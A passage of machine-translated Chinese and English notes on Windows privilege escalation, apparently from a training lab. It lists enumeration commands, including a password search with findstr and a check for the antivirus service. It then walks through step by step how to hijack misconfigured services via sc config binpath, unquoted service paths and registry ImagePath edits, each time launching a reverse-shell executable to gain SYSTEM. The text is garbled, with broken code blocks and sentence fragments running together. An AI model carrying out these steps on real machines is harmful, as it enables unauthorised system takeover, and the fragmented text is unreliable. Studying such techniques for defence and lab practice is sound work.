我的 Windows 权限提升概念手册。请查看我的播放列表,链接:https://www.youtube.com/playlist?list=PLlrnAg4kKF3puXLI0JyltbNJOC2R2HVFk
An Important point worth noting is Groups, any user of Group Administrator helps us to escalate!
whoami /priv - 当前用户的权限net users - 列出所有用户net user <username> - 列出特定用户的详细信息qwinsta - 同时登录的其他用户net localgroup - 系统中可用的组net localgroup <group-name> - 列出特定组的成员systeminfo - 提供有关操作系统的所有信息hostname - 系统的主机名findstr /si password *.txt - 我们正在查找包含“password”的文本文件wmic qfe get Caption,Description,HotFixID,InstalledOn - 这提供有关安全修补程序及相关信息netstat -ano - 与机器关联的连接schtasks /query /fo LIST /v - 查看已计划的任务driverquery - 列出驱动程序相关信息sc query windefend - 查找防病毒服务systeminfo 工具的输出,这就是该工具的唯一要求。wmic product get name,version,vendor - 这会提供产品名称、版本和供应商。这条命令能很好地可视化我们所需的信息。wmic service list brief | findstr "Running",而要获取有关该服务的更多信息,请使用 sc qc <ServiceName>。post/multi/recon/local_exploit_suggester 的模块,确保你的会话处于后台,这样该工具才能正常工作,或者你可以直接从 meterpreter 中加载。winpeas.exe --help 查看所有选项。systeminfo 命令获取系统信息,将其复制到任意文件中,并以 .txt 扩展名命名。这里我们将尝试识别具有不安全权限的服务,然后尝试利用它们。
这里我们可以使用 winpeas.exe servicesinfo 命令,可以看到哪些服务非常有帮助。
输出中一个有趣的部分如下,```
daclsvc(DACL Service)["C:\Program Files\DACL Service\daclservice.exe"] - Manual - Stopped YOU CAN MODIFY THIS SERVICE: ChangeConfig
- 但为了获取更多信息,我们可以使用一个名为 **accesschk** 的工具,它由微软开发,运行方式如下 `accesschk.exe /accepteula -uwcqv <current-user> <service>`,输出为,```
C:\PrivEsc>accesschk.exe /accepteula -uwcqv user daclsvc
daclsvc
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_CHANGE_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_START
SERVICE_STOP
READ_CONTROL
service_change_config,我们可以在其中更改服务的配置。sc qc <service>,然后记下 Binary_path_name(也可以称为 binpath),这就是我们要更改的(邪恶的微笑)sc config <service> <option>="<value>"sc config daclsvc binpath="<path>",然后启动服务:sc start daclsvcVulnerable Service: C:\Program Files\Ignite Data\Vuln Service\file.exe
The system will read this path in the following sequence from 1 to 4 to trigger malicous.exe through a writeable directory.
C:\Program.exe C:\Program Files\Ignite.exe C:\Program Files\Ignite Data\Vuln.exe C:\Program Files\Ignite Data\Vuln Service\file.exe
- 要获取更多信息,只需使用 **WinPEAS** 脚本并加上 `servicesinfo` 选项,这里我们可以查看是否存在任何可利用的 **Unquoted Service Path**。这里我运行了该工具,输出中比较有趣的部分如下所示,```
unquotedsvc(Unquoted Path Service)[C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe] - Manual - Stopped - No quotes and Space detected
sc qc <service>accesschk 检查这个特定位置 C:\Program Files\Unquoted Path Service 的权限,因此运行 accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service"。输出:```
accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service"
C:\Program Files\Unquoted Path Service
Medium Mandatory Level (Default) [No-Write-Up]
RW BUILTIN\Users
RW NT SERVICE\TrustedInstaller
RW NT AUTHORITY\SYSTEM
RW BUILTIN\Administrators- 我们拥有读写权限。
- 现在我们将创建一个载荷并将其放入 `C:\Program Files\Unquoted Path Service`,通过 `copy reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"`,这里我使用了一个不同的名称,这在字母顺序上也有一定优势。
- 现在启动服务,`sc start unquotedsvc`,我们是管理员了!!!
-----------------------
### 弱注册表权限:
- 这里我们将尝试利用具有弱注册表权限的服务。
- 为了查找,我们需要使用带有 `servicesinfo` 选项的 `Winpeas`。输出看起来类似这样:```
���������� Looking if you can modify any service registry
� Check if you can modify the registry of a service https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services-registry-permissions
HKLM\system\currentcontrolset\services\regsvc (Interactive [FullControl])
现在我们得到了服务的名称,即 regsvc,让我们深入了解这个服务,运行 sc qc regsvc,输出如下:```
sc qc regsvc
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: regsvc TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 3 DEMAND_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : "C:\Program Files\Insecure Registry Service\insecureregistryservice.exe" LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Insecure Registry Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem
- 一个很酷的事实是,路径带有引号,所以不存在**未加引号的服务路径**。
- 现在让我们运行 `accesschk.exe` 深入挖掘,所以运行 `accesschk /acceptula -uvwqk <path of registry>`(即 `HKLM\system\currentcontrolset\services\regsvc`)
- 在输出中查找 `RW NT AUTHORITY\INTERACTIVE(KEY_ALL_ACCESS)`,现在我们就可以顺利利用了。
- 现在让我们通过 `reg query HKLM\system\currentcontrolset\services\regsvc` 查看注册表中的选项,我发现一个名为 `ImagePath` 的选项,它接受可执行文件的值,所以让我们利用它。首先创建一个反弹 shell。
- 现在运行 `reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f`,根据你的需求选择 payload 的路径。
- 现在运行服务 `net start regsvc`,太棒了!我获得了 shell。
-----------------------
### 不安全的服务可执行文件:
- 这里的服务文件权限对所有用户开放!我们尝试修改服务的可执行文件,就可以搞定了!
- 让我们运行 **Winpeas**,特别是使用 **servicesinfo** 模块,看看有什么有趣的东西,输出结果如下:```
filepermsvc(File Permissions Service)["C:\Program Files\File Permissions Service\filepermservice.exe"] - Manual - Stopped
File Permissions: Everyone [AllAccess]
filepermsvc 的文件,所以我们将创建一个 reverse_shell 的 payload,并用它替换服务的可执行文件,从而获得 shell。